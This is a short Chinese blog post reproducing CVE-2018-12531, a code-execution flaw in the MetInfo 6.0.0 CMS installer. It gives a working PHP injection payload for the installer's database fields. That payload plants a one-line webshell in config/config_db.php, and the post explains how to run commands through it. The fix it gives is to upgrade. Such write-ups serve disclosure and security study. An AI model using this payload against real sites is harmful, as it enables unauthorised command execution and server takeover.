metinfo 6.0.0代码执行漏洞(CVE-2018-12531)

Posted by caiqiqi on 2018-10-14

漏洞来源

https://badcode.cc/2018/05/26/Metinfo-6-0-0-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/

官网

https://www.metinfo.cn/

漏洞简介

MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.0.0在安装过程中没有对输入进行过滤,导致任意代码执行,执行webshell。

漏洞等级

严重

漏洞利用条件

MetInfo 6.0.0

漏洞复现

MetInfo 历史版本与升级包下载
MetInfo 6.0.0源码下载:http://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
在安装过程中,在数据库信息处

随便选择一个字段,使用payload:

*/@system($_REQUEST[cmd]);/*

payload来源:https://github.com/fd0wn/vulner/blob/master/Metinfo.md
注意这里不能写成$_REQUEST['cmd']$_REQUEST["cmd"],会被转义。而$_REQUEST[cmd]也是可以的,
另外不能按照作者写的使用@eval()函数,查看error.log文件发现会报以下错:

PHP Parse error: syntax error, unexpected end of file in /var/www/Metinfo_6.0.0_2/config/config_db.php(7) : eval()'d code on line 1

提交之后,config/config_db.php是这样的。

这里的*//*刚好把前面和后面注释掉,然后剩下中间的一句话马。
然后访问config/config_db.php使用参数cmd即可执行命令。

解决方法

升级到最新版本

参考

https://www.anquanke.com/post/id/154149